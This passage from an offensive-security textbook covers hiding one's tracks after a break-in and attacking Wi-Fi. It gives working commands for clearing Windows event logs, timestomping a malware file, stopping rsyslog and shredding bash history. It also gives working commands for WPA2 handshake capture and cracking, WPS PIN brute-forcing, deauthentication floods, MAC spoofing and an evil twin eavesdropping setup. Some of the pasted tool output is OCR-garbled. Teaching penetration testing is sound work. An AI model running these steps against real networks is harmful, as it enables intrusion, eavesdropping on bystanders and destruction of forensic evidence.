meterpreter> shell
```



Windows has a little-known utility named the Windows Event Utility, or wevtutil for short. You can access it from the command line. To be able to clear event logs, you will need system admin privileges. Let's begin by simply running the wevtutil to get a help screen.

C:\Windows\System32> wevtutil

C:\Users\OTW\Desktop>wevtutll wevtutll Command is not specified. Windows Events Command Line Utility.	
Enables you to retrieve information about event logs and publishers, install and uninstall event manifests, run queries, and export, archive, and clear logs.	
Usage:	
You can use either the short (for example, ep /uni) or long (for example, enum-publishers /unicode) version of the command and option names. Commands, options and option values are not case-sensitive.	
Variables are noted in all upper-case.	
wevtutil COMMAND [ARGUMENT [ARGUMENT]] [/OPTION:VALUE [/OPTION:VALUE]]	
Commands:	
el     enum-logs     List log names.       gl     get-log     Get log configuration information.       sl     set-log     Modify configuration of a log.       ep     ep unu-publishers     List event publishers.       gp     get-publisher     Get publisher configuration information.       im     install-manifest     Install event publishers and logs from manifest.       um     uninstall-manifest     Uninstall event publishers and logs from manifest.       gli     get-log-info     Get log status information.       epli     get-log-info     Get log status information.       epli     export-log     Export a log.       cl     clear-log     Clear a log.	
Common options:	
$/\{r \mid remote\}:VALUE$ If specified, run the command on a remote computer. VALUE is the remote computer name. Options /im and /um do not support remote operations.	

As you can see, this utility has a number of options, but to clear logs we simply need to run the wevtutil, followed by cl (clear), and then the event log category we want to delete. So, if we wanted to clear the "security" logs, we would simply enter;

C:\Windows\system32\wevtutil cl security

C:\Users\OTW\Desktop>wevtutil wevtutil cl security	cl security
C:\Users\OTW\Desktop>	

This command prompt will echo back your command and then return you a new command prompt. To check to see whether anything happened, you can go to the Windows GUI and open the "Computer"

Management" console. There, you can click on Windows logs and then click on Security. As you can see, all the logs were cleared in the Security logs directory!

☆ Computer Management File Action View Help		• •
Computer Management (Local     System Tools     O Task Scheduler     Bernt Viewer     Security     Betup     Bernt Viewer     Solution     Constructions and Security     Bernt Viewer     Bernt Viewer     Bernt Viewer     Bernt Viewer     Solution     Bernt Viewer     Bern	Keywor Date and Time Source Event ID Task C	Actions           Security         ▲           ∅         Open Saved Log           ♥         Create Custom View           Import Custom View         Clear Log           ♥         Filter Current Log           ♥         Properties           ●         Find           ■         Save All Events As           Attach a Task To this L
Construction	Ceneral Details	View  Refresh Help

#### Timestomp

In some cases, your post-exploitation activities may include accessing or altering documents, reading emails, and other file access. In all of these cases, you will leave evidence behind for a skilled investigator. Every operating system and file system timestamps files. These timestamps include the last Modify, Access, and Creation (MAC) dates and times. They are a staple of the forensic investigator looking for evidence of compromise and recreating a timeline of events.

М	Modify
A	Accessed
С	Created

These timestamps can be evidence of accessing and alteration of files. A thorough and skilled forensic investigator can use these timestamps to recreate the events on the system, including any alteration of files. To cover your tracks, you will need to alter these timestamps if you have "touched" any files.

Luckily, altering timestamps is not difficult to do. If you plan to access or alter any files, first record the original timestamps. Once you have accessed or altered the file, you can then use a utility within your meterpreter to return the timestamps to their original status. It's called timestomp (note that it is the same as timestamp but with an "o"). To understand how it works, enter timestomp with the help option.

meterpreter > timestomp help

<u>meterpreter</u> > timestomp help
Usage: timestomp <file(s)> OPTIONS</file(s)>
OPTIONS:
<ul> <li>-a <opt> Set the "last accessed" time of the file</opt></li> <li>-b Set the MACE timestamps so that Encase shows blanks</li> <li>-c <opt> Set the "creation" time of the file</opt></li> <li>-e <opt> Set the "mft entry modified" time of the file</opt></li> <li>-f <opt> Set the MACE of attributes equal to the supplied file</opt></li> <li>-h Help banner</li> <li>-m <opt> Set the "last written" time of the file</opt></li> <li>-r Set the MACE timestamps recursively on a directory</li> <li>-v Display the UTC MACE values of the file</li> <li>-z <opt> Set all four attributes (MACE) of the file</opt></li> </ul>
<pre>meterpreter &gt;</pre>

Let's assume there is a piece of malware on the system named "malwarevnc." Presumably, this malware is used to give the attacker a VNC GUI on the system. We can change all the timestamps (MAC) by using timestomp with the -Z option followed by the date and time we want "stomped" on the file, such as:

meterpreter> timestomp malwarevnc -z "06/25/2015 09:25:03"



Note that the date and time must be enclosed in double quotation marks. If we only wanted to change only the M attribute (Modified) we would use the same command but with the -m option; if we wanted to change only the A attribute (Accessed) we would use the -a option; and if we only wanted to change the C attribute we would use the -c option (that's pretty easy to remember). Often, it would be wiser to change each of these attributes separately, thereby avoiding any red flags to investigators. These files seldom have the same timestamps in the wild.

#### **Covering Your Tracks on Linux Systems**

Covering your tracks on Linux systems is a bit more complex as Linux systems place their logs in many different places. Each application maintains its own logs, and the kernel and utilities maintain their own

separate logs. Most Linux systems have a utility named rsyslog to send all the logs to a central server. To manage your footprint on the target system, you can manipulate this utility to stop logging while you are in the system.

Probably the simplest way to cover your tracks while on a Linux system is to stop the rsyslog service.

> systemctl stop rsyslog

This will stop the rsyslog service and disable logging to the log server. Of course, this will leave a significant time gap in the logs, but few administrators watch their logs that closely. The last thing before leaving the system would be to restart the rsyslog system, making it less obvious that someone has tampered with the logs.

```
> systemctl start rsyslog
```

#### **Removing Your Command History**

Finally, you may want to make certain that that your command history is not left behind should your computer fall into your adversary's hands. In that case, your BASH history can be critical for recreating your actions.

You have at least two strategies here. First, you can keep your system from storing your commands, and the second is to remove the commands from your history.

You can view your history of commands by entering the command history at the prompt.

kali > history



To turn off your command history, you will need to change the value of your environment variable \$HISTSIZE. You can do this by setting your HISTSIZE variable to zero (no commands stored) and exporting the variable (for more on environment variables in Linux, see *Linux Basics for Hackers*).

kali > HISTSIZE=0
kali > echo \$HISTSIZE



Now, your BASH shell will not store ANY of your commands. This can be a bit inconvenient as now you can't use your UP or DOWN arrows to scroll through your previous commands.

A better solution may be to remove your individual commands from your history. You can remove any command from your history by using the –d option with the history command followed by the command number. So, if you wanted to remove the 3rd command in your history (.keylog\_start), enter:

```
kali >history -d 3
```

If you want to remove all your command history, you can use the history command followed by the -c switch.

```
kali > history -c
```



Now when you enter the history command, only your last command appears.

This may be enough to make certain that no one can recover your command history, but remember deleting files does not mean they are unrecoverable. When files are deleted, they are made available to the file system for being overwritten. Until these files are overwritten, they are completely recoverable (for more on this subject see <u>https://www.hackers-arise.com/recovery-of-deleted-files</u>). In some cases, even after being overwritten, they can be recovered by a skilled forensic investigator.

The shred command overwrites the target files with random data multiple times, making it nearly impossible to recover their contents of the command history.

Let's look at the help screen for shred.

#### kali > shred -h

<pre>root@kali-2019:~# shredhelp Usage: shred [OPTION] FILE Overwrite the specified FILE(s) repeatedly, in order to make it harder for even very expensive hardware probing to recover the data.</pre>
If FILE is -, shred standard output.
Mandatory arguments to long options are mandatory for short options too. -f,force change permissions to allow writing if necessary -n,iterations=N overwrite N times instead of the default (3) random-source=FILE get random bytes from FILE -s,size=N shred this many bytes (suffixes like K, M, G accepted) -u deallocate and remove file after overwriting remove[=HOW] like -u but give control on HOW to delete; See below -v,verbose show progress -x,exact do not round file sizes up to the next full block; this is the default for non-regular files -z,zero add a final overwrite with zeros to hide shredding help display this help and exit
version output version information and exit

As we saw above, the user's command history is viewable using the history command, but the command history is actually stored in the user's profile file named .bash\_history. We can shred that file by using the command:

```
kali > shred -f .bash history
```

Now, when we go back and view the .bash history, but can see nothing intelligible!

Kali > cat .bash history



#### Summary

After compromising a system or network, the hacker needs to make certain that little or no evidence is left behind. A skilled and diligent digital forensic investigator can recreate the events and determine what took place on the system. To remain stealthy, the hacker/pentester must make certain to remove any evidence of their activities. Most importantly, this includes removing any log files or command history files.

#### Exercises

- 1. Use the clearev command to clear the event logs on a compromised Windows system from the meterpreter.
- 2. Selectively remove log files with wevtutil on a Windows system.
- 3. Stop the rsyslog service on a Linux system to disable logging.
- 4. Delete all your commands using the history command.
- 5. Shred your history file to remove all evidence of your BASH commands

# 15

### Wi-Fi Hacking

There is ALWAYS opportunity in chaos Master OTW



**In our modern digital age, wireless connections are the norm.** We connect to the Internet via Wi-Fi, we connect to our speakers and phone via Bluetooth, and we connect our phones via cellular service. All are wireless, and all are susceptible to being hacked. Each of these areas of hacking would warrant a separate book, but in this chapter,I'll focus on some of the best, most recent, and most effective hacks to Wi-Fi (for Bluetooth Hacks see <u>www.hackers-arise.com/hacking-bluetooth</u> and for Cellular Hacks, see OTW's Mobile Hacking course).

In this chapter, we will explore multiple ways that these wireless technologies can be attacked and broken. This includes both acquiring the password (PSK) and eavesdropping on Wi-Fi traffic. These techniques require a bit of sophisticated Linux and Kali skills (see *Linux Basics for Hackers*) and patience, but if you have those two elements, you should be successful cracking nearly any Wi-Fi AP!

Let's begin with Wi-Fi or 802.11, as it is known to the IEEE. We all know how to work with Wi-Fi, but few of us understand its inner workings. Understanding a bit about its anatomy will help us in attacking it.

#### Wi-Fi or 802.11

Wi-Fi is also sometimes referred to as "Wireless Local Area Network" or WLAN, which basically sums up what this technology is all about. In technical terms, Wi-Fi (or wireless networking) is known as IEEE 802.11 technologies. Without getting into too much detail, IEEE 802.11 is a set of standards created and maintained by the Institute of Electrical and Electronics Engineers (IEEE), that are used to implement WLAN communication in select frequency bands.

Initially, Wi-Fi was secured with Wired Equivalent Privacy or WEP. This proved flawed and easily hacked, so the industry developed WPA as a short-term fix. Eventually, the industry implemented WPA2, which has proven relatively resilient to attack, but does have its flaws. The industry is presently rolling out WPA3 due to these vulnerabilities in WPA2.

#### Terminology

This chapter contains a lot of new terminology and acronyms, so let's pause a moment to review some terminology.

AP	This is the access point, or the place where the clients connect to the Wi- Fi and get Internet access.
PSK -	Pre-Shared-Key: this is the password used to authenticate to the AP
SSID -	The name used to identify the AP
ESSID -	Extended Service Set Identifier: same as the SSID but can be used for multiple APs in a wireless LAN
BSSID -	Basic Service Set Identifier: this is the unique identifier for every AP. It's the same as the MAC address of the AP.
Channels -	Wi-Fi operates on channels 1-14 but is limited to 1-11 in the United States.
Power -	The closer you are to the AP, the stronger the signal. The signal in the United States is limited to .5 watts by the FCC
Security -	This the security protocol to authenticate and encrypt Wi-Fi traffic. The most popular at this time is WPA-PSK.

Modes -	Wi-Fi can operate in three modes: master, managed, and monitor. APs operate in master mode, wireless network interfaces operate in monitor mode by default, and hackers usually operate in monitor mode.
Range -	At the legal limit of .5 watt, most Wi-Fi APs are accessible up to 300ft (100m) but with high gain antennas can be accessible up to 20 miles.
Frequency -	Wi-Fi is designed to operate at 2.4GHZ and 5GHZ. Most modern systems now use both.

#### **802.11 Security Protocols**

There have been several security protocols to protect and encrypt Wi-Fi, and your strategy will depend upon which has been implemented.

#### WEP

The initial security protocol to secure 802.11 was named WEP or Wired Equivalent Privacy. By 2001, hackers discovered that--through statistical techniques--they could crack the user's password in minutes due to improperly implemented RC4 encryption. The IEEE had to quickly find a replacement as all the Wi-Fi APs were left without security at that point. Few of these access points are still in use today (you will find some, though)

#### WPA

In 2003, IEEE created a short-term fix they called Wi-Fi Protected Access, or WPA. The key part of this new security protocol was that it did not require replacing the existing hardware, but rather it relied upon firmware upgrades. WPA also relied upon the RC4 encryption algorithm but added some additional features making the PSK more difficult and time-consuming to crack. These features included:

- 1. Making the Initialization Vector longer from 48 to 128 bits
- 2. TKIP which generates different keys for each client
- 3. Message Integrity Check to make certain the messages have not been altered in route

#### WPA2

The WPA2 802.11i standard was finalized in June 2004. WPA2 uses the counter mode with Cipher Block Chaining Message Authentication Protocol, more commonly known as CCMP. This new protocol was based upon Advanced Encryption Standard (AES, see Appendix A for more on Cryptography) algorithm for authentication and encryption. CCMP was more processor-intensive, so most AP's had to be replaced with more vigorous hardware.

WPA2 supports both Personal and Enterprise modes. When using the personal mode (PSK), the preshared key (password) is combined with the SSID to create a pairwise master key (PMK). This was designed to make a rainbow table password cracking more difficult. The client and the AP exchange messages using the PMK to create a pairwise transient key (PTK). This key is unique to each user and session and was designed to making sniffing of Wi-Fi traffic more difficult.

#### Wi-Fi Adapters for Hacking

Although nearly everyone has a Wi-Fi adapter on their laptop or mobile device, these Wi-Fi adapters are generally inadequate for the attacks I outline here. Wi-Fi hacking requires a specialized Wi-Fi adapter,

one that is capable of injecting frames into a wireless AP. Few off-the-shelf Wi-Fi adapters can do so.

Aircrack-ng is the most widely used tool for Wi-Fi (many tools simply put a GUI over aircrack-ng) hacking, and aircrack-ng maintains a list of Wi-Fi chipsets that are compatible with their software at <u>https://www.aircrack-</u>

ng.org/doku.php?id=compatible\_cards).I can save you a lot of time and research and simply recommend the Alfa Wi-Fi cards. I have been using them for years, and they work flawlessly. They are inexpensive, effective, and efficient. I will be using the Alfa AWUS036NH throughout this chapter. You can order your own with a high gain antenna (not required, but recommended) from Amazon for less than \$40 (https://amzn.to/2PvC1u0).



Before we begin attacking the Wi-Fi, let's review some commands and concepts we will need to attack them.

#### **Viewing Wireless Interfaces**

First, we need to view our wireless interfaces. You can do by simply using the *ifconfig* command in Linux. This command displays all your networking interfaces.

kali > ifconfig



To be more specific and view only the wireless interfaces, you can use the iwconfig command.

#### kali > iwconfig



As you can see, this command only displays those interfaces with "wireless extensions."

To view all the Wi-Fi APs within range of your wireless network interface, you can enter iwlist in Linux.

kali > iwlist

<pre>root@kali-2019:~# iwlist wlan0 scan</pre>
wlan0 Scan completed :
Cell 01 - Address: MAC Address or BSSID <
Channel:6
Frequency:2.437 GHz (Channel 6)
Quality=70/70 Signal level=-19 dBm
Encryption key:off
ESSID:"xfinitywifi"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=000000a447154beb
Extra: Last beacon: 2420ms ago

This command is capable of detecting all the AP's within range and providing you with key information about each, including:

- 1. Its MAC address
- 2. Its channel
- 3. Frequency
- 4. ESSID
- 5. Its Mode

#### **Monitor Mode**

Speaking of Wi-Fi mode, Wi-Fi or 802.11 has three modes: master, managed, and monitor. Monitor mode is similar to promiscuous mode in a wired network, where the network device is capable of picking up all packets passing its way. Generally, in Wi-Fi hacking, you will need your wireless card in **monitor** mode. To do so, enter:

kali > airmon-ng start wlan0

root@ka]	<pre>root@kali-2019:~# airmon-ng start wlan0</pre>									
Found 3	Found 3 processes that could cause trouble.									
Kill the	Kill them using airmon-ng check kill' before putting									
the care	the card in monitor mode, they will interfere by changing channels									
and some	and sometimes putting the interface back in managed mode									
PID M	PID Name									
550 M	550 NetworkManager									
890 W	890 wpa_supplicant									
7871 c	7871 dhclient									
РНҮ	Interface	Driver	Chipset							
phy1	wlan0	rt2800usb	Ralink Technology, Corp. RT2870/RT3070 🥠							
	(mac802	211 monitor mode	vif enabled for [phy1]wlan0 on [phy1]wlan0mon)							
	(mac802	211 station mode	vif disabled for [phy1]wlan0)							

When you enter this command, it places your wireless interface into monitor mode and changes its name. Here you can see it has changed it to wlan0mon.

Also, note that it warns that three processes could cause trouble. Despite this warning, usually, this does not cause a problem. If it does create a problem, enter:

```
kali > airmon-ng check kill
```

#### **Capturing Frames**

Next, with our wireless NIC in monitor mode and seeing all the traffic around us, we need to begin to capture that data. We can do so by using the airodump-ng command in the aircrack-ng suite as so:

kali> airodump-ng wlan0mon

CH 10 ][ Elapsed:	0 s ][ 2019	-11-01 09	:26							
BSSID	PWR Beaco	ns #Da <sup>.</sup>	ta, #/	/s	СН	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses of AP's	-55 -1 -63 -66 -77 -78	2 0 2 2 2 6	0 0 0 0 0	000000	11 -1 1 1 10	58 -1 130 130 195 54e	WPA2 WPA2 WPA2 WPA2 WEP	CCMP CCMP CCMP CCMP WEP	PSK PSK MGT PSK	HP-Print-E3-Deskje <length: 0=""> TPTV1 <length: 0=""> CenturyLink6236 APHU1</length:></length:>
BSSID F2:A3:A7:5B:63:29 (not associated)	STATION 00:1E:8F:8 52:CC:23:F	D:18:25 6:58:E2	PWR - 16 - 78	Rat 0 0	e - 1 - 1	Lost	t F 42 0	rames 13 1	Probe Mande	e ela2

Now, we can see all the APs with their critical information in the upper part of the screen and the clients in the lower part of the screen. All the information we need to attack these APs and clients is available right here!

#### **Attacking Wi-Fi APs**

#### **Hidden SSIDs**

Most security engineers are taught to "hide" their SSID's. The thinking is that by hiding their SSID, only people who know the SSID will be able to discover and connect to their Wi-Fi AP. Their trust in this strategy is misplaced.

Whenever a legitimate client tries to connect to an Access Point (AP), both the probe response and request contain the SSID of the access point. In addition, generally, you do not need the SSID to connect to the AP, if you have the BSSID (the MAC address) of the AP. As this information is broadcast over the

airwaves, the hacker only needs to use a tool such as airodump-ng or others to view the BSSID's, as we saw above.

#### **Defeating MAC Filtering**

Again, network security engineers are taught to limit who can access their Wi-Fi AP by using MAC filtering. This technique limits who can access the AP by MAC address (the globally unique identifier on every network interface). The security engineer puts the MAC addresses of all the legitimate users and their systems into the administrator interface of the AP. This means that these MAC addresses are allowed to connect, and the AP rejects everyone else. Unfortunately, this technique fails miserably in the face of some simple techniques.

The hacker can use airodump-ng to find the MAC addresses of clients that have authenticated to the AP.

kali > airodump-ng -c 11 -a -bssid <mac>

Once the hacker knows the MAC address of the authenticated client, they can simply "spoof" that MAC address. This requires that we take down the interface:

kali> ifconfig wlan0mon down

Then, use macchanger to spoof the MAC address making it the same as the connected client's MAC.

kali > macchanger -m <mac> wlan0mon

```
root@kali-2019:~# ifconfig wlan0 down
root@kali-2019:~# macchanger --mac AA:BB:CC:DD:EE:FF wlan0
Current MAC: 32:b7:60:71:76:92 (unknown)
Permanent MAC: 00:c0:ca:59:12:3b (ALFA, INC.)
New MAC: aa:bb:cc:dd:ee:ff (unknown)
```

Now, bring back up the interface, and it will have the same MAC address as one of the systems that are allowed to connect to the AP. Simple!

kali > ifconfig wlan0mon up

Once the attacker's MAC address matches one in the MAC filtering whitelist, they can connect to the AP without interference.

#### Attacking WPA2-PSK

WPA2-PSK is the most widely used security protocol among Wi-Fi routers. Although WPA3 has just been released, it has not yet been widely deployed. As a result, let's focus on WPA2 cracks.

Unlike some earlier Wi-Fi hacking techniques such as WEP (where you could crack the password in minutes using statistical techniques), the strategy with WPA2 is similar to our password cracking techniques in Chapter 8. With WPA2-PSK, we first capture the hash of the password and then we apply a wordlist in a hash cracking program such as hashcat to find a match.

The key is to grab the password hash as it is transmitted through the air. WPA2-PSK has what is known as the four-way handshake where the password hash is transmitted across the air between the client and the AP. We can capture it there and then apply our familiar techniques and resources for password hash cracking.



WPA2-PSK 4-Way Handshake

The first step is to put our wireless network card in monitor mode.

```
kali > airmon-ng start wlan0
```

Then we start airodump-ng to collect information and packets.

kali > airodump-ng wlan0mon

CH 10 ][ Elapsed:	0 s ][	2019-11-01	09:26							
BSSID	PWR I	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses of AP's	- 55 - 1 - 63 - 66 - 77 - 78	2 0 2 2 2 6	0 0 0 0 0	0 0 0 0 0 0	11 -1 1 1 10	58 -1 130 130 195 54e	WPA2 WPA2 WPA2 WPA2 WEP	CCMP CCMP CCMP CCMP WEP	PSK PSK MGT PSK	HP-Print-E3-Deskje <length: 0=""> TPTV1 <length: 0=""> CenturyLink6236 APHU1</length:></length:>
BSSID	STATI	ON	PWR	Ra	te	Los	t f	rames	Prob	e
F2:A3:A7:5B:63:29 (not associated)	00:1E 52:CC	:8F:8D:18:2 :23:F6:58:E	5 - 16 2 - 78	0	- 1 - 1		42 0	13 1	Mande	ela2

We will likely want to focus our packet capture on a single AP on a single channel. We can do that by entering:

kali > airodump-ng -bssid <BSSID of the Target AP> -c <the channel the AP is transmitting on> --write <file name to save the hash> wlan0mon

root@kali-2019:~# airodump-ng --bssid aa:bb:cc:dd:ee:ff -c 11 --write HackersAriseCrack wlan0mon

If you are impatient like me, you can bump off a client who is already connected to the AP, and then when they reconnect, you will capture their handshake using aireplay-ng such as;

kali > aireplay-ng -deauth 100 -a AA:BB:CC:DD:EE:FF wlan0mon

root@kali	-2019:~# aireplay-ngdeauth 100 -a 9C:3D:CF wlan0mon	
10:39:02	Waiting for beacon frame (BSSID: 9C:3D:CF:6D:8F:E0) on channel 1	11
NB: this	attack is more effective when targeting	
a connect	ed wireless client (-c <client's mac="">).</client's>	
10:39:04	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:05	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:05	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:06	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:06	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:07	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:08	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:08	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:09	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:09	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	- 1

Where:

aireplay-ng	is the command
deauth 100	is the option to send 100 deauth frames into the AP
-a <bssid></bssid>	is the BSSID of the target AP
wlan0mon	is your wi-fi adapter in monitor mode

Now, when the client re-authenticates to the AP, airodump-ng will automatically detect the four-way handshake, capture it and write it to the file you designated (HackersAriseCrack).

CH 11 ][ Elapsed: 3 hours 15 mins ][ 2019-11-03 11:50 ][ WPA handshake: 24:05:88:00:18:43 CH 4 ][ Elapsed: 3 hours 16 mins ][ 2019-11-03 11:51 ]

When we do a long listing on our working directory, we will find five files creating by airodump-ng. The first one, Hackers-AriseCrack-1.cap contains the hash for cracking.

					4
-rw-rr	1 root	root	760 Nov	3 10:25	HackersAriseCrack-01.cap < 🗖
-rw-rr	1 root	root	236 Nov	3 10:25	HackersAriseCrack-01.csv
-rw-rr	1 root	root	325 Nov	3 10:25	HackersAriseCrack-01.kismet.csv
-rw-rr	1 root	root	227 Nov	3 10:25	HackersAriseCrack-01.kismet.netxml
-rw-rr	1 root	root	105 Nov	3 10:25	HackersAriseCrack-01.log.csv

Now that you have the handshake, you simply need to use a hash cracking program such as hashcat to brute-force the password. Admittedly, this can be a slow and tedious process, making your selection of a good wordlist critical.

```
kali > hashcat -m 16800 HackersAriseCrack-01.cap
/root/top_10000_passwords.txt
```

If you are at first unsuccessful, go back to Chapter 8 and create a custom wordlist for the target using ceWL, or cupp, or crunch, or all three. With this new custom wordlist, try once again to crack the hash with hashcat.

#### WPS

Many people who buy and use Wi-Fi APs technically challenged. For them, setting up a Wi-Fi AP is a daunting task. To remedy this situation, the industry developed a technology to make setting up a Wi-Fi AP as easy as pushing a button! What could possibly go wrong?

The new technology became known as Wi-Fi Protected Setup or WPS. It enabled the user to setup their Wi-Fi access point by simply pressing a button on the AP. This system relies upon a PIN being transmitted between the AP and the client to initiate their "secure" connection.

This PIN uses only digits from 0-9 (no special or alphabetic characters). The PIN is eight characters long (all characters are digits), and the eighth character is a checksum. To make matters worse, of these seven remaining characters, the first four are checked, and the last three are checked separately. This means that the number of possibilities is  $10^4 (10,000) + 10^3 (1000) = 11,000$  possible PIN's! With that small number of PIN's our computer can test each of them in a matter of hours.

Although this vulnerability was mitigated with the development of WPS 2.0 in 2012, there are still a number of APs with WPS 1.0 and vulnerable to this attack (I estimate about 10-20 percent)

The crack the WPS PIN, you will need the following information;

- 1. The name of your interface (usually wlan0mon)
- 2. The MAC Address of the AP
- 3. The ESSID of the AP
- 4. The channel that the AP is broadcasting on

We can gather all that information from our airodump-ng screen.

CH 10 ][ Elapsed:	0 s ]	[ 2019-11-01	09:26		11.4					
					#4					#3
BSSID #2	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses	- 55	2	0	0	11	58	WPA2	CCMP	PSK	HP-Print-E3-Deskje
of AP's	- 1	Θ	Θ	Θ	- 1	-1				<length: 0=""></length:>
	-63	2	Θ	Θ	1	130	WPA2	CCMP	PSK	TPTV1
	-66	2	Θ	0	1	130	WPA2	CCMP	MGT	<length: 0=""></length:>
	-77	2	0	O	1	195	WPA2	CCMP	PSK	CenturyLink6236
	-78	6	Θ	Θ	10	54e	WEP	WEP		APHU1
BSSID	STAT	ION	PWR	Ra	te	Los	t	Frames	Prob	2
F2:A3:A7:5B:63:29	00:10	E:8F:8D:18:2	25 - 16	O	- 1		42	13	Mande	ela2
(not associated)	52:C	C:23:F6:58:E	2 -78	0	- 1		Θ	1		

To find AP's with WPS, you can run the wash command followed by the name of your interface (wlan0mon).

kali > wash -i wlan0mon

<pre>root@kali-2019:~#</pre>	wash	-i wl	an0mo	n		
BSSID	Ch	dBm	WPS	Lck	Vendor	ESSID
MAC Addresses	1	-71	2.0	No	Quantenn	clickhereforavirus5
	1	-73	2.0	No	Broadcom	M0T09818
	6	-75	2.0	No	Broadcom	CenturyLink9930
	6	-73	2.0	No	AtherosC	vsimpsol
	6	-03	2.0	No	AtherosC	HOME-15EB-2.4
	6	-71	2.0	No	AtherosC	PREB-NET-2.4
	6	-77	2.0	No	AtherosC	HOME-FF2B-2.4
	6	-75	2.0	No	Broadcom	CenturyLink6236
	7	-67	2.0	No	Broadcom	NETGEAR03
	11	-51	2.0	No	Broadcom	CenturyLink8327
	8	-77	2.0	No	AtherosC	Lasson
	11	-65	2.0	No	Quantenn	GuinnessJager
	11	-65	1.0	No		NTGR_VMB_1462061001
	11	- 75	2.0	No	Broadcom	MOTOROLA-710EB
	11	- 79	2.0	No	Broadcom	CenturyLink2925
	11	-13	2.0	No	AtherosC	Mandela

As you can see above, there were a number of APs available near my office, and of those, one is still using WPS 1.0 (NTGR\_VMB\_1462061001).

Now, with the information from wash and airodump-ng, we can brute force the PIN with either bully or reaver.

To use bully, enter:

kali > bully wlan0mon -b 00:11:22:33:44:55 -e NTGR VMB 1462061001-c 11

To use reaver enter:

Kali > reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

<pre>root@kali-2019:~# reaver -i wlan0mon -b 9C:3D:CF -vv</pre>
Reaver v1.6.5 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso l.com&gt;</cheffner@tacnetso 
<pre>[+] Waiting for beacon from 9C:3D:CF:6D:8F:E0 [+] Switching wlan0mon to channel 1 [+] Switching wlan0mon to channel 11 [+] Received beacon from 9C:3D:CF [+] Trying pin "12345670" [+] Sending authentication request [+] Sending association request [+] Associated with 9C:3D:CF (ESSID: NTGR_VMB_1462061001)</pre>

Make certain that you replace the MAC address with the actual MAC address of the target AP, the actual SSID of the target AP, and the actual channel the AP is broadcasting on.

#### **Evil Twin Attack (MiTM)**

Sometimes, rather than attacking the AP password, the attacker wants to view all the target's traffic. In other words, the attacker wants to "eavesdrop" on their traffic. Eavesdropping might reveal passwords on other accounts, credit card numbers, or confidential meetings and plans. One way of doing that is to create an Evil Twin AP. The Evil Twin is an AP with the same SSID as the target AP. If the attacker can get the target to connect to their Evil Twin AP, then all the traffic will traverse the attacker's computer. This enables the attacker to eavesdrop (listen) to the target's traffic and even alter the messages.

#### **Build our Evil Twin**

Let's start building our Evil Twin. To do so, we need another tool from the aircrack-ng suite, airbaseng. It converts our Wi-Fi adapter into an AP, broadcasting, and accepting client connections. We will also need two network interfaces. Here, I will be using my Alfa card as an AP and Ethernet connection (eth0) to connect to the Internet.

kali > airbase-ng -a aa:bb:cc:dd:ee:ff --essid hackers-arise -c 6
wlan0mon



Where:

aa:bb:cc:dd:ee:ff	is the MAC address of the new Evil Twin AP
essid hackers-arise	is the name of the Evil Twin AP
-c 6	is the channel we want it to broadcast on
wlan0mon	is the interface we want to use as an AP

Now that we have our wireless card up as an AP, let's check our system again for wireless extensions with iwconfig.

kali > iwconfig

As you can see, we now have a new wireless interface, at0, but with no wireless extensions. We need to fix that.

We need to build a tunnel from at0 to our Ethernet interface (eth0) so that when someone connects to our AP (at0), their traffic traverses our system and out to the Internet via the eth0. The next set of four commands does exactly that!

kali > ip link add name ha type bridge
kali > ip link set ha up
kali > ip link set eth0 master ha
kali > ip link set at0 master ha

root@kali-2019:~# ip link add name ha type bridge root@kali-2019:~# ip link set ha up root@kali-2019:~# ip link set eth0 master ha root@kali-2019:~# ip link set at0 master ha

Now that we have built our tunnel let's run if config again.



As you can see, we now have a tunnel named ha (hackers-arise) that takes traffic from at0 (our AP) to our Ethernet connection and out to the Internet. In this way, whenever anyone connects to our AP, their traffic goes through our system and then out to the Internet totally transparently.

We now need to set up a DHCP server (it assigns IP addresses to those who connect) to the tunnel we created.

kali > dhclient ha &


This starts the DHCP service (dhclient) on our tunnel (ha) and then puts the service into the background (&).

To get the clients to connect to our new Evil Twin AP, we need to knock them off the legitimate AP. We can do this the same way we did above in our WPA2 attack. We use the aireplay-ng command and send de-authentication frames into the AP (sometimes, this can DoS some of the older AP hardware). This will make the legitimate AP unavailable to the clients, and they will connect to the Evil Twin instead!

```
kali > aireplay-ng --deauth 1000 aa:bb:cc:dd:ee:ff wlan0mon -ignore-
negative-one
```

Now open Wireshark (see Chapter 10 on Sniffers). When the clients reconnect to your Evil Twin, their traffic traverses unencrypted through your system. You should be able to view it in Wireshark.

Notice that when you open Wireshark, a new interface—our tunnel "ha"—appears in the GUI. Click on that interface to collect the packets traversing our tunnel.

		The Wir	eshark Network Aı	nalyzer		• •	8
File	<u>E</u> dit <u>V</u> iew <u>G</u> o	<u>C</u> apture <u>A</u> nalyze <u>S</u> ta	tistics Telephony	<u>W</u> ireless <u>T</u> ools	<u>H</u> elp		
			+ +	►	⊕ ⊖ ©	9 0	
A	Apply a display filter <ctrl-></ctrl->						
	Welcome to W	ireshark					
	Capture						
	using this filter: 📕	Enter a capture filter		•	All interfaces s	hown -	
	eth0		M				
	wlan0mon		mm			_	
	ha						
	any		nnn				
	Loopback: lo						
	nflog						
	nfqueue					*	
	Learn						
	User's Guide 🕔 Wiki 🕔 Questions and Answers 🕔 Mailing Lists						
